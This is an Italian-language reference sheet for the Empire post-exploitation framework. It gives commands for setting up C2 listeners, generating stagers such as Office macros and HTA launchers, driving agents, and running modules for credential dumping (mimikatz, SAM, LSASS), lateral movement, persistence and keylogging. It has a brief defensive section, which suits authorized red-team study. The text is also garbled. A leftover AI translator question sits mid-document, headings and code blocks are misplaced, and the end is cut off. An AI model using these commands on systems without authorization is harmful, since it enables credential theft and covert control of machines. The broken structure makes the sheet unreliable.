Foglio di Riferimento di Empire Framework¶
Panoramica¶
Empire è un framework post-exploitation che include un agente Windows pure-PowerShell 2.0 e un agente Linux/macOS pure Python 3. Fornisce un'infrastruttura di comando e controllo (C2) potente per operazioni red team, test di penetrazione ed emulazione di avversari.
⚠️ Attenzione: Empire è uno strumento di test di sicurezza che dovrebbe essere utilizzato solo in ambienti per i quali si ha un permesso esplicito.
Installazione¶
Da GitHub¶
# Clone the repository
git clone https://github.com/BC-SECURITY/Empire.git
# Navigate to the directory
cd Empire
# Run the installation script
sudo ./setup/install.sh
Usando Docker¶
# Pull the Docker image
docker pull bcsecurity/empire:latest
# Run the container
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest
Su Kali Linux¶
Utilizzo Base¶
Avvio di Empire¶
# Start the Empire server
sudo empire
# Start with REST API (for Starkiller)
sudo empire --rest --username <username> --password <password>
Usando Starkiller (GUI)¶
Navigazione CLI di Empire¶
| Comando | Descrizione |
|---|---|
help |
Visualizza menu di aiuto |
menu |
Torna al menu principale |
back |
Torna al livello di menu precedente |
exit |
Exit Empire |
usemodule <module> |
Seleziona un modulo da utilizzare |
usestager <stager> |
Seleziona uno stager da utilizzare |
uselistener <listener> |
Seleziona un listener da utilizzare |
interact <agent> |
Interagisci con un agent |
searchmodule <term> |
Cerca moduli |
| ## Listener |
Creazione di un Listener¶
# In Empire CLI
listeners
uselistener http
set Name http_listener
set Host 192.168.1.100
set Port 8080
execute
Opzioni Listener Comuni¶
| Opzione | Descrizione |
|---|---|
Name |
Nome per l'ascoltatore |
Host |
IP/hostname per staging |
Port |
Porta per il listener |
CertPath |
Percorso del certificato per HTTPS |
DefaultDelay |
Ritardo callback dell'agente (in secondi) |
DefaultJitter |
Jitter nelle callback dell'agent (0.0-1.0) |
DefaultProfile |
Profilo di comunicazione predefinito |
KillDate |
Data per l'uscita dell'ascoltatore (MM/DD/YYYY) |
WorkingHours |
Ore per il callback dell'agente (09:00-17:00) |
| ### Gestione Listener | |
Stager¶
Generazione di uno Stager¶
Tipi Comuni di Stager¶
| Stager | Descrizione |
|---|---|
windows/launcher_bat |
Launcher di file BAT |
windows/launcher_vbs |
Launcher di script VBS |
windows/launcher_powershell |
Launcher di PowerShell |
multi/launcher |
Launcher multipiattaforma |
osx/launcher |
launcher di macOS |
linux/launcher |
Launcher Linux |
windows/dll |
Launcher DLL |
windows/macro |
Launcher di macro per Office |
windows/hta |
Launcher HTA |
| ## Agenti |
Comandi Agente¶
# List all agents
agents
# Interact with an agent
interact C2AGENT123
# Get agent info
info
# Execute a shell command
shell whoami
# Run a PowerShell command
powershell Get-Process
# Upload a file
upload /path/to/local/file /path/on/target
# Download a file
download /path/on/target /local/path
# Take a screenshot
screenshot
# Exit agent menu
back
Gestione Agenti¶
# Rename an agent
rename C2AGENT123 new_name
# Kill an agent
kill C2AGENT123
# Remove an agent from the database
remove C2AGENT123
# Set sleep interval
sleep 30
# Set jitter percentage
sysinfo
Moduli¶
Utilizzo dei Moduli¶
# List available modules
usemodule
# Search for modules
searchmodule credentials
# Use a specific module
usemodule powershell/situational_awareness/network/powerview/get_user
# Set module options
set Username administrator
# Execute the module
execute
Categorie Comuni di Moduli¶
Accesso alle Credenziali¶
# Dump credentials from memory
usemodule powershell/credentials/mimikatz/logonpasswords
# Dump SAM database
usemodule powershell/credentials/sam
# Dump LSASS process
usemodule powershell/credentials/credential_injection/lsass_dump
Consapevolezza Situazionale¶
# Get domain users
usemodule powershell/situational_awareness/network/powerview/get_user
# Get domain computers
usemodule powershell/situational_awareness/network/powerview/get_computer
# Get domain groups
usemodule powershell/situational_awareness/network/powerview/get_group
Movimento Laterale¶
# WMI lateral movement
usemodule powershell/lateral_movement/invoke_wmi
# PSExec lateral movement
usemodule powershell/lateral_movement/invoke_psexec
# WinRM lateral movement
usemodule powershell/lateral_movement/invoke_winrm
Persistenza¶
# Registry persistence
usemodule powershell/persistence/userland/registry
# Scheduled task persistence
usemodule powershell/persistence/userland/schtasks
# WMI persistence
usemodule powershell/persistence/elevated/wmi
Funzionalità Avanzate¶
Profili C2 Malleabili¶
Would you like me to continue with the remaining sections or provide translations for the specific numbered sections you mentioned?```
In Empire CLI¶
profiles use default set DefaultProfile /path/to/profile.profile ```### Considerazioni OPSEC
# Set agent kill date
set KillDate 01/01/2025
# Set working hours
set WorkingHours 09:00-17:00
# Increase agent sleep time
sleep 300 30
```### Esfiltrazione Dati
Use keylogging module¶
usemodule powershell/collection/keylogger
Use clipboard monitoring¶
usemodule powershell/collection/clipboard_monitor
Use screenshot module¶
usemodule powershell/collection/screenshot ```## Risoluzione dei Problemi
Problemi Comuni¶
# Check if the listener is running
listeners
# Verify firewall settings
sudo iptables -L
# Check for port conflicts
netstat -tuln|grep <port>
```**Problemi di Connessione**
```bash
# Verify agent is running
agents
# Check for network connectivity issues
# Verify sleep/jitter settings
```
```bash
# Check module requirements
info
# Verify agent privileges
shell whoami
# Try running in a different process context
usemodule powershell/management/psinject
```**Agente Non in Check-In**
```powershell
# Enable PowerShell Script Block Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
# Enable PowerShell Module Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1
# Enable Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
Misure Difensive¶
Metodi di Rilevamento¶
- PowerShell Script Block Logging
- PowerShell Module Logging
- AMSI (Antimalware Scan Interface)
- Analisi del traffico di rete
- Analisi comportamentale
Tecniche di Prevenzione¶
https://github.com/BC-SECURITY/Starkiller
Risorse¶
- BC Security GitHub
- [Empire Wiki](